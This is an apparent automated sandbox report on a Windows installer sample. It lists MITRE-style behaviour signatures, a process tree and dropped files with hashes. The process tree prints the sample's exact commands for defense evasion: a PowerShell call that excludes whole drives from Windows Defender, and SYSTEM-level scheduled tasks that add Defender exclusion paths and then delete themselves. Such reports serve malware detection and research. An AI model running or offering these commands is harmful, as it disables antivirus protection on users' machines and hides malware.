Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 16:07

General

  • Target
    install.2.0.02.exe
  • Size 38.9MB
  • Sample261023-tk4fnaez2r
  • SHA256 b32237991335d1f948cc4d9f42007c67d13beb4f86a75b2ed177ac14f482526d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3768
  • C:\Users\Public\uQMstu\M7yqbN.exe
    "C:\Users\Public\uQMstu\M7yqbN.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2760
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uQMstu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uQMstu\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4184
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1952
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5620
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3544
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3324
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1196
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1448
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4544
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:564
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:804
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1072
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5976
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1128
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5908
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2856
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:2544
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3264
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5108
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3492
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uQMstu" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:1400
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uQMstu" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2312
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:672
                          • C:\Users\Public\uQMstu\M7yqbN.exe
                            "C:\Users\Public\uQMstu\M7yqbN.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:4536
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:2904
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:2984
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:3236
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4624
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1468
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4240

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 1KB
                                      • SHA256 a2a913fb459541af5b35eac1fa6a771228c8739446ef851c2e0a54790da51485
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 1KB
                                      • SHA256 a6b0f6a44dd96965a00f4e245bf186c12f6ff9f63bb9cb6c82d0e40b4ec561ac
                                      • MD5 SHA1 SHA512 TLSH

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 512B
                                      • SHA256 00e3cd5170cb7b6f1791aad5604074a8c66f9a2583b82554c8397cc90b0c651d
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 506B
                                      • SHA256 3199a7cead43e820da3f0a9ef11c0c901aa6358689e54b7569fc4fb8ffca20da
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_llpwesn1.zjq.psm1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_llpwesn1.zjq.psm1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      M7yqbN.exe

                                      • Path C:\Users\Public\uQMstu\M7yqbN.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\uQMstu\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 02404312a0459b0f09c94961045832cc6f17c798a0ca1d736d243c0cbd0ca37d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\uQMstu\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 b453830c228532c16ea077b7d9060c1fb965ad5fa2c123579f022f88971e38ca
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\uQMstu\msadox.tb
                                      • Size 8KB
                                      • SHA256 02f685f6f567508d177c86c3112fc13c9db626c0d0b2bedfb6f0edc1ceefc84c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/2760-605-0x000001AB71220000-0x000001AB7122A000-memory.dmp

                                      memory/2760-604-0x000001AB71250000-0x000001AB71302000-memory.dmp

                                      memory/2760-603-0x000001AB71230000-0x000001AB7124E000-memory.dmp

                                      memory/2760-598-0x000001AB710B0000-0x000001AB710D2000-memory.dmp

                                      memory/3768-525-0x00007FFD36860000-0x00007FFD36872000-memory.dmp

                                      memory/3768-524-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/3768-0-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/3768-504-0x00007FFD36860000-0x00007FFD36872000-memory.dmp

                                      memory/3768-2-0x0000000000580000-0x000000000058C000-memory.dmp

                                      memory/3768-1-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/4536-577-0x00007FFD205F0000-0x00007FFD20B0E000-memory.dmp

                                      memory/4536-580-0x000001FF39E10000-0x000001FF3A6E7000-memory.dmp

                                      memory/4536-590-0x000001FF39E10000-0x000001FF3A6E7000-memory.dmp

                                      memory/4536-591-0x00007FFD42610000-0x00007FFD42612000-memory.dmp

                                      memory/4536-589-0x000001FF39E10000-0x000001FF3A6E7000-memory.dmp

                                      memory/4536-588-0x000001FF39E10000-0x000001FF3A6E7000-memory.dmp

                                      memory/4536-587-0x000001FF39E10000-0x000001FF3A6E7000-memory.dmp

                                      memory/4536-583-0x000001FF39E10000-0x000001FF3A6E7000-memory.dmp

                                      memory/4536-582-0x00007FFD42620000-0x00007FFD42622000-memory.dmp

                                      memory/5752-559-0x000001DC7F380000-0x000001DC7F40A000-memory.dmp

                                      memory/5752-564-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-545-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-546-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-544-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-543-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-566-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-567-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-561-0x000001DC7F380000-0x000001DC7F40A000-memory.dmp

                                      memory/5752-550-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-560-0x000001DC7F380000-0x000001DC7F40A000-memory.dmp

                                      memory/5752-558-0x000001DC7DC80000-0x000001DC7DCCE000-memory.dmp

                                      memory/5752-556-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-562-0x000001DC7F380000-0x000001DC7F40A000-memory.dmp

                                      memory/5752-539-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-538-0x00007FFD42620000-0x00007FFD42622000-memory.dmp

                                      memory/5752-536-0x000001DC7E6D0000-0x000001DC7EFA7000-memory.dmp

                                      memory/5752-531-0x00007FFD205F0000-0x00007FFD20B0E000-memory.dmp

                                      memory/5752-530-0x00007FFD42610000-0x00007FFD42612000-memory.dmp